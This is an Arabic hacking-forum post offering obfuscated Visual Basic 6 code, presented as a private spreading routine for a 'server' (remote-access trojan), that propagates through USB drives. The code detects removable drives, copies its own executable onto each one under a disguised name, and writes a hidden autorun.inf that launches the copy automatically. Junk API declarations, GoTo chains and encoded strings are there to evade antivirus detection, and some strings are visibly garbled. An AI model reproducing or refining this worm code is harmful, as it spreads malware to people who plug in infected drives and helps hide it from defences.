كود انتشار السيرفر في USB فقط لامنتدى عبدو الورفلي - برايفت -

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] alt="" />

كيف حالكم يا احلى اعضاء ..
اليوم راح اباشر في تنزيل مواضيع حلوه الى ان اصل الى ال50 مساهمة و اساعد اكثر
لاني بصراحه افادني كثير هذا المنتدى .. وبشكر جميع القائمين عليه

طيب موضوع اليوم هو كود للانتشار حلو بصراحه و مفعوله راائع
الكود برايفت واول مره باطرحه في المنتديات و قد طرحته هنا فقط
ارجوا ذكر الحقوق عند النقل:

نشوف كود الانتشار في USB

---

Private Declare Function qnqhmmtvashnkdstfrtdiqarl Lib "gdi32" Alias "qnqhmmtvashnkdstfrtdiqarlA" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function sgpegfjlrefjnlbiqckiervvu Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function dsrmuqmsbppkeqdiogoikvqom Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function meqbprdhcqoonpjgjalfmopla Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function dosbnanbjojifnlvotvudkktu Lib "gdi32" (ByVal hdc As Long, ByVal wFlags As Long) As Long
Private Declare Function gicfipeelhiepfsrkfnjflqii Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function emeohmonsdjmnrfdpqiksarjh Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ourkdemcekjbhsshlqgpgqcnc Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function gkusijbjmpkcggfhrubottefh Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function kfvluukcjdfqfkhpobalhglsc Lib "gdi32" (ByVal hPalette As Long, ByVal crColor As Long) As Long
Private Declare Function ndgmckbltctspbajchkinuuii Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function apcsadbgntbbfpndesvhkgtrr Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function ifvnobnputmrggsvfrdqembmr Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function rcsujedaihqeoqpuvfoptbvls Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long, ByVal fnMode As Long) As Long
Private Declare Function qgiosfkfvluukcjdfqfkhpobl Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long, ByVal X4 As Long, ByVal Y4 As Long) As Long
Private Declare Function esvhkgtrrrtmpsdpovrspdpgg Lib "gdi32" (ByVal hdc As Long, ByVal nEscape As Long, ByVal cbInput As Long, ByVal lpszInData As String, ByVal cbOutput As Long, ByVal lpszOutData As String) As Long
Private Declare Function poblvsqvgmvquigstluadvmqq Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
Private Declare Function fpndesvhkgtrrrtmpsdpovrsp Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function pbajchkinuuiimaofldgornec Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
Private Declare Function mqqqsfilcihoqrncifvnobnpu Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
Private Declare Function tbbfpndesvhkgtrrrtmpsdpov Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ctspbajchkinuuiimaofldgor Lib "MAPI32.DLL" (ByVal Session&, ByVal UIParam&, ByVal MsgID$, ByVal flags&, ByVal Reserved&) As Long
Private Declare Function advmqqqsfilcihoqrncifvnob Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function bgntbbfpndesvhkgtrrrtmpsd Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function vnobnputmrggsvfrdqembmroa Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long, ByVal wFillType As Long) As Long
Private Declare Function csadbgntbbfpndesvhkgtrrrt Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function gmckbltctspbajchkinuuiima Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte, ByVal fnMapMode As Long, ByVal hdcRef As Long) As Long
Private Declare Function fdpqiksarjhhgicfipeelhiep Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwRate As Long) As Long
Private Declare Function shlqgpgqcncgemeohmonsdjmn Lib "winmm.dll" Alias "shlqgpgqcncgemeohmonsdjmnA" (ByVal err As Long, ByVal lpText As String, ByVal uSize As Long) As Long
Private Declare Function fhrubottefhdourkdemcekjbh Lib "gdi32" (ByVal cbBuffer As Long, lpData As Byte) As Long
Private Declare Function tfdnalhglsclgkusijbjmpkcg Lib "MAPI32.DLL" (lMsg&, nRecipients&, nFiles&, ByVal Session&, ByVal UIParam&, MessageID$, ByVal Flag&, ByVal Reserved&) As Long
Private Declare Function hnkdstfrtdiqarlakjvnvprgr Lib "MAPI32.DLL" (ByVal UIParam&, ByVal DelimStr$, ByVal FilePaths$, ByVal FileNames$, ByVal Reserved&) As Long
Private Declare Function fjnlbiqckiervvuaqnqhmmtva Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function pkeqdiogoikvqomusgpegfjlr Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function oonpjgjalfmoplamdsrmuqmsb Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
Private Declare Function jifnlvotvudkktucmeqbprdhc Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function iepfsrkfnjflqiiddosbnanbj Lib "user32" (ByVal hwnd As Long, ByVal wSBflags As Long, ByVal wArrows As Long) As Long
Private Declare Function jmnrfdpqiksarjhhgicfipeel Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
Private Declare Function jbhsshlqgpgqcncgemeohmons Lib "gdi32" Alias "jbhsshlqgpgqcncgemeohmonsA" (ByVal lpFileName As String) As Long
Private Declare Function kcggfhrubottefhdourkdemce Lib "gdi32" Alias "kcggfhrubottefhdourkdemceA" (ByVal hdc As Long, ByVal nCount As Long, ByVal lpFacename As String) As Long
Private Declare Function rgrvtfdnalhglsclgkusijbjm Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte, ByVal fnMapMode As Long, ByVal hdcRef As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function jvnvprgrvtfdnalhglsclgkus Lib "gdi32" (ByVal hdc As Long, ByVal eNewLimit As Double, peOldLimit As Double) As Long
Private Declare Function jbjmpkcggfhrubottefhdourk Lib "gdi32" (ByVal hdc As Long, ByVal nIndex As Long) As Long
Private Declare Function emcekjbhsshlqgpgqcncgemeo Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function monsdjmnrfdpqiksarjhhgicf Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
Private Declare Function peelhiepfsrkfnjflqiiddosb Lib "MAPI32.DLL" (lMsg&, nRecipients&, nFiles&, ByVal Session&, ByVal UIParam&, MessageID$, ByVal Flag&, ByVal Reserved&) As Long
Private Declare Function anbjojifnlvotvudkktucmeqb Lib "gdi32" Alias "anbjojifnlvotvudkktucmeqbA" (ByVal hdc As Long, ByVal wFirstChar As Long, ByVal wLastChar As Long, lpBuffer As Long) As Long
Private Declare Function rdhcqoonpjgjalfmoplamdsrm Lib "gdi32" Alias "rdhcqoonpjgjalfmoplamdsrmA" (ByVal lpFileName As String) As Long
Private Declare Function qmsbppkeqdiogoikvqomusgpe Lib "gdi32" (ByVal hdc As Long, ByVal wFlags As Long) As Long
Private Declare Function fjlrefjnlbiqckiervvuaqnqh Lib "winmm.dll" Alias "fjlrefjnlbiqckiervvuaqnqhA" (ByVal err As Long, ByVal lpText As String, ByVal uSize As Long) As Long
Private Declare Function mtvashnkdstfrtdiqarlakjvn Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long
Private Declare Function eiskahvcknjauuuapmpgslsuv Lib "winmm.dll" (ByVal uDeviceID As Long, ByVal dwVolume As Long) As Long
Private Declare Function ojjvcitgthpupoltsfudfejqq Lib "gdi32" (ByVal hdc As Long, ByVal iMode As Long) As Long
Private Declare Function nnnpilovlkrnokvlcbqluqmra Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
Private Declare Function inkslunsutcjpstbljvaordgc Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function njuebqjksjkqpinccorbmvmai Lib "gdi32" (ByVal hdc As Long, ByVal nnjuebqjksjkqpinccorbmvmai As Long, ByVal nCount As Long, ByVal lpInData As String, lpOutData As Any) As Long
Private Declare Function irmqecophpsvrimmlobehuedk Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
Private Declare Function obgbrhqqgufvbmbgdlktgrnmr Lib "gdi32" (ByVal hemf As Long) As Long
Private Declare Function kbffehatantsdfgcntqjcdmce Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function qfavsedmvkmlqrbklptrhoair Lib "user32" (ByVal hwnd As Long, ByVal wBar As Long, ByVal bShow As Long) As Long
Private Declare Function suvrgsjdbsfatchavqkajovnu Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
Private Declare Function jqqdeiskahvcknjauuuapmpgs Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function rkfnjflqiiddosbnanbjojifn Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function votvudkktucmeqbprdhcqoonp Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long
Private Declare Function gjalfmoplamdsrmuqmsbppkeq Lib "gdi32" (ByVal hdc As Long, ByVal nStretchMode As Long) As Long
Private Declare Function ovnuoqfavsedmvkmlqrbklptr Lib "gdi32" (ByVal hdc As Long, ByVal cbSize As Long, lpData As Byte) As Long
Private Declare Function oairokbffehatantsdfgcntqj Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function dmcejobgbrhqqgufvbmbgdlkt Lib "gdi32" (ByVal hdc As Long, ByVal nDrawMode As Long) As Long
Private Declare Function rnmrcirmqecophpsvrimmlobe Lib "MAPI32.DLL" Alias "Brnmrcirmqecophpsvrimmlobe" (ByVal Session&, ByVal UIParam&, MsgType$, SeedMsgID$, ByVal Flag&, ByVal Reserved&, MsgID$) As Long
Private Declare Function uedkmnjuebqjksjkqpinccorb Lib "gdi32" (ByVal hPalette As Long, ByVal crColor As Long) As Long
Private Declare Function vmaitinkslunsutcjpstbljva Lib "gdi32" (ByVal hdc As Long, ByVal hMF As Long) As Long
Private Declare Function rdgcpnnnpilovlkrnokvlcbql Lib "gdi32" (ByVal hemf As Long) As Long
Private Declare Function qmrapojjvcitgthpupoltsfud Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ccbdnqtkppabdvkqnguviuagf Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function nrpbvjshdcgouhcgqoeftfhlg Lib "MAPI32.DLL" (ByVal Session&, ByVal UIParam&, ByVal MsgID$, ByVal flags&, ByVal Reserved&) As Long
Private Declare Function sodjgvopbnpvdmsnhsgfrjrlm Lib "gdi32" (ByVal hdc As Long, peLimit As Double) As Long
Private Declare Function nabfjhtemugevnrrqsmjmdiip Lib "gdi32" (ByVal hdc As Long, ByVal iMode As Long) As Long
Private Declare Function tllgalvekckegqlkiqoclacaf Lib "gdi32" (ByVal hdcDest As Long, ByVal nXDest As Long, ByVal nYDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hdcSrc As Long, ByVal nXSrc As Long, ByVal nYSrc As Long, ByVal hbmMask As Long, ByVal xMask As Long, ByVal yMask As Long, ByVal dwRop As Long) As Long
Private Declare Function umkkjlfcfshbijlhsivomiqmi Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ekfdbjhrkprpuggpquiamtlnv Lib "gdi32" Alias "ekfdbjhrkprpuggpquiamtlnvA" (ByVal hdc As Long, ByVal iFirstChar As Long, ByVal iLastChar As Long, pxBuffer As Double) As Long
Private Declare Function rnokvlcbqluqmrapojjvcitgt Lib "user32" (ByVal hwndLock As Long) As Long
Private Declare Function cjpstbljvaordgcpnnnpilovl Lib "gdi32" (ByVal hdc As Long, ByVal nMapMode As Long) As Long
Private Declare Function kqpinccorbmvmaitinkslunsu Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long
Private Declare Function svrimmlobehuedkmnjuebqjks Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwRate As Long) As Long
Declare Function GetTickCount Lib "kernel32.dll" () As Long
Private Declare Function sjdbsfatchavqkajovnuoqfav Lib "gdi32" Alias "sjdbsfatchavqkajovnuoqfavA" (ByVal hdc As Long, ByVal wFirstChar As Long, ByVal wLastChar As Long, lpBuffer As Long) As Long
Private Declare Function edmvkmlqrbklptrhoairokbff Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function hatantsdfgcntqjcdmcejobgb Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function hqqgufvbmbgdlktgrnmrcirmq Lib "winmm.dll" (ByVal hWaveIn As Long, lpuDeviceID As Long) As Long
Private Declare Function cophpsvrimmlobehuedkmnjue Lib "winmm.dll" (ByVal hWaveIn As Long, lpuDeviceID As Long) As Long
Private Declare Function qjksjkqpinccorbmvmaitinks Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function unsutcjpstbljvaordgcpnnnp Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function lovlkrnokvlcbqluqmrapojjv Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function itgthpupoltsfudfejqqdeisk Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function hvcknjauuuapmpgslsuvrgsjd Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function sfatchavqkajovnuoqfavsedm Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function kmlqrbklptrhoairokbffehat Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwPitch As Long) As Long
Private Declare Function ntsdfgcntqjcdmcejobgbrhqq Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ufvbmbgdlktgrnmrcirmqecop Lib "gdi32" (ByVal hdc As Long) As Long
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Function ktplrvooidochnfnhitonlsr(ehoddkfgdnerqidmiekoh As String) As String
GoTo ddptcoancjujoltmaptaudkruucmkbbpsehdqopo
ddptcoancjujoltmaptaudkruucmkbbpsehdqopo:
GoTo knqbmmsopmanedrmvrntbqqkkaejvhujqvqpnuthae
knqbmmsopmanedrmvrntbqqkkaejvhujqvqpnuthae:
For bcnramulahmhgelkunrusbijssakcp = 1 To Len(ehoddkfgdnerqidmiekoh) Step 2
GoTo krsffjtlciadlokbvavbroritnu
krsffjtlciadlokbvavbroritnu:
GoTo athulectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbks
athulectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbks:
ktplrvooidochnfnhitonlsr = ktplrvooidochnfnhitonlsr & Mid(ehoddkfgdnerqidmiekoh, bcnramulahmhgelkunrusbijssakcp, 1)
GoTo cghgicvcpuufgheovsldendflpcictisrhv
cghgicvcpuufgheovsldendflpcictisrhv:
GoTo acnchemlvispnsdktnrfdqrirtbsj
acnchemlvispnsdktnrfdqrirtbsj:
GoTo onpdgjafflnolvgdsklukmsqjpddptcoancjuj
onpdgjafflnolvgdsklukmsqjpddptcoancjuj:
Next
GoTo tmaptaudkruucmkbbpsehdqopoqknqbmmsop
tmaptaudkruucmkbbpsehdqopoqknqbmmsop:
GoTo anedrmvrntbqqkkaejvhujqvqpnuthaehfkr
anedrmvrntbqqkkaejvhujqvqpnuthaehfkr:
GoTo ffjtlciadlokbvavbroritnuvathulectgcueibbrmbl
ffjtlciadlokbvavbroritnuvathulectgcueibbrmbl:
End Function
Public Sub gpvpkvjiumtnpepurdcmvjg()
GoTo qvsjpbksqlcghgicvcpu
qvsjpbksqlcghgicvcpu:
GoTo fgheovsldendflpcictisrhvgacnchemlvispnsdktnrfdq
fgheovsldendflpcictisrhvgacnchemlvispnsdktnrfdq:
GoTo irtbsjnonpdgjafflnolvgdsklukmsqjpddptcoancj
irtbsjnonpdgjafflnolvgdsklukmsqjpddptcoancj:
On Error Resume Next
GoTo oltmaptaudkruucmkbbpsehdqopoqknqb
oltmaptaudkruucmkbbpsehdqopoqknqb:
GoTo ehfkrsffjtlciadlokbvavbroritnuvathul
ehfkrsffjtlciadlokbvavbroritnuvathul:
GoTo blomrsdmmqvsjpbksqlcghgicv
blomrsdmmqvsjpbksqlcghgicv:
GoTo rfdqrirtbsjnonpdgjaffln
rfdqrirtbsjnonpdgjaffln:
Dim i As Integer, x As Integer
GoTo vgdsklukmsqjpddptcoancjujoltmaptaud
vgdsklukmsqjpddptcoancjujoltmaptaud:
GoTo ruucmkbbpsehdqopoqknqbmmsopmanedrm
ruucmkbbpsehdqopoqknqbmmsopmanedrm:
GoTo rntbqqkkaejvhujqvqpnuthaehfkrsffjtlciadlokbvavbro
rntbqqkkaejvhujqvqpnuthaehfkrsffjtlciadlokbvavbro:
Dim sAllDrives As Long
GoTo tnuvathulectgcueibbrmblqaovprgb
tnuvathulectgcueibbrmblqaovprgb:
GoTo sqlcghgicvcpuufgheov
sqlcghgicvcpuufgheov:
GoTo ldendflpcictisrhvgacnchemlvispnsdktnrfdqrirt
ldendflpcictisrhvgacnchemlvispnsdktnrfdqrirt:
GoTo ksqlcghgicvcpuufgheov
ksqlcghgicvcpuufgheov:
Dim Drives() As String
GoTo rfdqrirtbsjnonpdgjafflnolvgdsklukms
rfdqrirtbsjnonpdgjafflnolvgdsklukms:
GoTo jpddptcoancjujoltmaptaudkruucmkbbpsehdqopo
jpddptcoancjujoltmaptaudkruucmkbbpsehdqopo:
GoTo hfkrsffjtlciadlokbvavbroritnuvathulectgcue
hfkrsffjtlciadlokbvavbroritnuvathulectgcue:
GoTo jpbksqlcghgicvcpuufgheovsldendf
jpbksqlcghgicvcpuufgheovsldendf:
Dim sSpace As String
GoTo cictisrhvgacnchemlvispnsdktnrfdqrirtbsjno
cictisrhvgacnchemlvispnsdktnrfdqrirtbsjno:
GoTo pdgjafflnolvgdsklukmsqjpddptcoancjujol
pdgjafflnolvgdsklukmsqjpddptcoancjujol:
GoTo maptaudkruucmkbbpsehdqopoqknqbmmsopmanedrmvrnt
maptaudkruucmkbbpsehdqopoqknqbmmsopmanedrmvrnt:
Dim f As Integer
GoTo roritnuvathulectgcueibbrmblqaovprgbatfeobl
roritnuvathulectgcueibbrmblqaovprgbatfeobl:
f = FreeFile
GoTo rsdmmqvsjpbksqlcghgicvcpuufgheovslden
rsdmmqvsjpbksqlcghgicvcpuufgheovslden:
GoTo pnsdktnrfdqrirtbsjnonpdg
pnsdktnrfdqrirtbsjnonpdg:
GoTo pnuthaehfkrsffjtlciadlokbvavbror
pnuthaehfkrsffjtlciadlokbvavbror:
Dim iTime As Long
GoTo nuvathulectgcueibbrmblqaovprgbatfeoblomrsdmmqv
nuvathulectgcueibbrmblqaovprgbatfeoblomrsdmmqv:
GoTo jpbksqlcghgicvcpuufgheovsldendflpcictisrhvgac
jpbksqlcghgicvcpuufgheovsldendflpcictisrhvgac:
Dim sLines(6) As String
GoTo qknqbmmsopmanedrmvrntbq
qknqbmmsopmanedrmvrntbq:
GoTo oritnuvathulectgcueibbrmblqaovprgbatfeoblo
oritnuvathulectgcueibbrmblqaovprgbatfeoblo:
GoTo coancjujoltmaptaudkruucmkbbpsehdqopoq
coancjujoltmaptaudkruucmkbbpsehdqopoq:
sLines(0) = ktplrvooidochnfnhitonlsr("[ga&uWt&oGoTo haehfkrsffjtlciadlokbvavbroritnuvathu
haehfkrsffjtlciadlokbvavbroritnuvathu:
GoTo mqvsjpbksqlcghgicvcpuufgheovsldendf
mqvsjpbksqlcghgicvcpuufgheovsldendf:
sLines(1) = ktplrvooidochnfnhitonlsr("o?pTe_nX=nV+iGeVwYfki5l+ecsg.AeNxse‚")
GoTo npdgjafflnolvgdsklukmsqjpddptcoancjujoltm
npdgjafflnolvgdsklukmsqjpddptcoancjujoltm:
GoTo nrfdqrirtbsjnonpdgja
nrfdqrirtbsjnonpdgja:
GoTo qopoqknqbmmsopmanedrmvrntbq
qopoqknqbmmsopmanedrmvrntbq:
sLines(2) = ktplrvooidochnfnhitonlsr("incGo>n?=;%ES(y5sCtce2m1RPoGoTo aovprgbatfeoblomrsdmmqvsjpbksqlcgh
aovprgbatfeoblomrsdmmqvsjpbksqlcgh:
GoTo sqjpddptcoancjujoltmaptaudkr
sqjpddptcoancjujoltmaptaudkr:
GoTo ucmkbbpsehdqopoqknqbmmsopmanedrmvrntbqqkkaejvhu
ucmkbbpsehdqopoqknqbmmsopmanedrmvrntbqqkkaejvhu:
sLines(3) = ktplrvooidochnfnhitonlsr("aFcAt5iXoSn~=_Otpewn* KfMovlyd'eTr0 ht†oa mv.i>e*wf ]f^i[leeHs:")
GoTo vqpnuthaehfkrsffjtlciadlokbvavbroritnuvath
vqpnuthaehfkrsffjtlciadlokbvavbroritnuvath:
GoTo lectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbksql
lectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbksql:
sLines(4) = ktplrvooidochnfnhitonlsr("sHhƒeRl6lU\\oapQe‚nU=,OrpjeTn{")
GoTo qjpddptcoancjujoltmaptaudkruu
qjpddptcoancjujoltmaptaudkruu:
sLines(5) = ktplrvooidochnfnhitonlsr("sihWeql…ld\doKp1een,\Dc`oGoTo avbroritnuvathulectgcueibbrmblqaovprg
avbroritnuvathulectgcueibbrmblqaovprg:
sLines(6) = ktplrvooidochnfnhitonlsr("sFhYeOl$lB\fo)pNeCn/\kd}e~f{a„uglZth=>1W")
GoTo qtpgeeegvcfmcbiefbmc
qtpgeeegvcfmcbiefbmc:
sSpace = Space(255)
GoTo hclhdjngfaampvktkuglgfckjslqsrahhqrvjbnu
hclhdjngfaampvktkuglgfckjslqsrahhqrvjbnu:
GoTo pbeanlllngdgtjcjlmitjaqojsokqunmhbna
pbeanlllngdgtjcjlmitjaqojsokqunmhbna:
GoTo melfhsnmjrqdnbdchiobcgkiufna
melfhsnmjrqdnbdchiobcgkiufna:
sAllDrives = GetLogicalDriveStrings(Len(sSpace), sSpace)
GoTo bosssunknekjqstpekhbpqdpraf
bosssunknekjqstpekhbpqdpraf:
GoTo toiuhhtlsmodotqcbkuifdipvidhrpfgugjmivd
toiuhhtlsmodotqcbkuifdipvidhrpfgugjmivd:
Drives = Split(sSpace, Chr$(0))
GoTo forulrqbdealroiabkachgve
forulrqbdealroiabkachgve:
For i = 0 To UBound(Drives) - 1
GoTo fioemdnvkvebjclejmkpagjkocamnfiqtpgeeegvc
fioemdnvkvebjclejmkpagjkocamnfiqtpgeeegvc:
GoTo mcbiefbmcpohclhdjngfaampvkt
mcbiefbmcpohclhdjngfaampvkt:
GoTo uglgfckjslqsrahhqrvjbnumpbeanlllng
uglgfckjslqsrahhqrvjbnumpbeanlllng:
If GetDriveType(Drives(i)) = 2 Then
GoTo tjcjlmitjaqojsokqunmhbnagmelf
tjcjlmitjaqojsokqunmhbnagmelf:
FileCopy App.Path & ktplrvooidochnfnhitonlsr("\V") & App.EXEName & ktplrvooidochnfnhitonlsr(".ue|x�eq"), Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("V=iZeLw.foisl7ensv.-eAxieƒ")
GoTo nmjrqdnbdchiobcgkiufnaifbosssunknekjqstpekhbp
nmjrqdnbdchiobcgkiufnaifbosssunknekjqstpekhbp:
GoTo dprafotoiuhhtlsmodotqcbkuifdipvidhrpfgugjm
dprafotoiuhhtlsmodotqcbkuifdipvidhrpfgugjm:
Open Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("akuPt…oLrIun\.}ibnjf8") For Output As #f
GoTo ddcforulrqbdealroiabkachgveppfioemdnvkvebjclejmkp
ddcforulrqbdealroiabkachgveppfioemdnvkvebjclejmkp:
GoTo fmcbiefbmcpohclhdjng
fmcbiefbmcpohclhdjng:
For m = 0 To 6
GoTo unmhbnagmelfhsnmjrqd
unmhbnagmelfhsnmjrqd:
GoTo pqdprafotoiuhhtlsmodotqcbkuifdipvidhr
pqdprafotoiuhhtlsmodotqcbkuifdipvidhr:
Print #f, sLines(m)
GoTo gugjmivddcforulrqbdealroiabk
gugjmivddcforulrqbdealroiabk:
GoTo pgeeegvcfmcbiefbmcpo
pgeeegvcfmcbiefbmcpo:
GoTo ahhqrvjbnumpbeanlllngdgtjcjlm
ahhqrvjbnumpbeanlllngdgtjcjlm:
For x = 1 To Int(Rnd * 5) + 5
GoTo jaqojsokqunmhbnagmelfhsnmjrqdnbdchiobcgkiufnai
jaqojsokqunmhbnagmelfhsnmjrqdnbdchiobcgkiufnai:
GoTo dhrpfgugjmivddcforulrqbdeal
dhrpfgugjmivddcforulrqbdeal:
Print #f, vnqcgbomnmoifivkelmnkulcrp
GoTo iabkachgveppfioemdnvkvebjclejmkpagjkocam
iabkachgveppfioemdnvkvebjclejmkpagjkocam:
GoTo fiqtpgeeegvcfmcbiefbmcpohclhdjngfaampv
fiqtpgeeegvcfmcbiefbmcpohclhdjngfaampv:
GoTo tkuglgfckjslqsrahhqrvjbnumpbeanlll
tkuglgfckjslqsrahhqrvjbnumpbeanlll:
GoTo gdgtjcjlmitjaqojsokqunmhbnagmelfhsnmj
gdgtjcjlmitjaqojsokqunmhbnagmelfhsnmj:
Next
GoTo dnbdchiobcgkiufnaifbosssunknekjqstpekhbpqd
dnbdchiobcgkiufnaifbosssunknekjqstpekhbpqd:
GoTo ivddcforulrqbdealroiabkachgveppfioemdnvk
ivddcforulrqbdealroiabkachgveppfioemdnvk:
GoTo ebjclejmkpagjkocamnfiqtpgeeegvcfmcbiefbmcpohclhdj
ebjclejmkpagjkocamnfiqtpgeeegvcfmcbiefbmcpohclhdj:
GoTo gfaampvktkuglgfckjslqsrahhqrvjbnumpbea
gfaampvktkuglgfckjslqsrahhqrvjbnumpbea:
Next
GoTo llngdgtjcjlmitjaqojsokqunmhbnagmelf
llngdgtjcjlmitjaqojsokqunmhbnagmelf:
GoTo snmjrqdnbdchiobcgkiufnaifbosss
snmjrqdnbdchiobcgkiufnaifbosss:
GoTo nknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuifdipv
nknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuifdipv:
Close #f
GoTo ifdipvidhrpfgugjmivddcfo
ifdipvidhrpfgugjmivddcfo:
GoTo ulrqbdealroiabkachgveppfioemdnvkvebjclejmkpa
ulrqbdealroiabkachgveppfioemdnvkvebjclejmkpa:
SetFileAttributes Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("aju€tto4r.uZn„.Oi@n8fO"), FILE_ATTRIBUTE_HIDDEN
GoTo jbnumpbeanlllngdgtjcjlmitjaqojsok
jbnumpbeanlllngdgtjcjlmitjaqojsok:
GoTo unmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbos
unmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbos:
End If
GoTo unknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuif
unknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuif:
GoTo ipvidhrpfgugjmivddcforul
ipvidhrpfgugjmivddcforul:
GoTo qbdealroiabkachgveppfioemdnvkvebjclejmkpagj
qbdealroiabkachgveppfioemdnvkvebjclejmkpagj:
GoTo umpbeanlllngdgtjcjlmitjaqojsokqunm
umpbeanlllngdgtjcjlmitjaqojsokqunm:
Next i
GoTo bmcpohclhdjngfaampvktk
bmcpohclhdjngfaampvktk:
GoTo glgfckjslqsrahhqrvjbnumpbeanlllngdgtjcjlmitjaqoj
glgfckjslqsrahhqrvjbnumpbeanlllngdgtjcjlmitjaqoj:
End Sub
Private Function vnqcgbomnmoifivkelmnkulcrp()
GoTo fbosssunknekjqstpekhbpqdprafotoiuhhtlsm
fbosssunknekjqstpekhbpqdprafotoiuhhtlsm:
GoTo dotqcbkuifdipvidhrpfgugjmivddcforulrqbd
dotqcbkuifdipvidhrpfgugjmivddcforulrqbd:
GoTo pfgugjmivddcforulrqbdealro
pfgugjmivddcforulrqbdealro:
GoTo mcpohclhdjngfaampvktkuglgfckjs
mcpohclhdjngfaampvktkuglgfckjs:
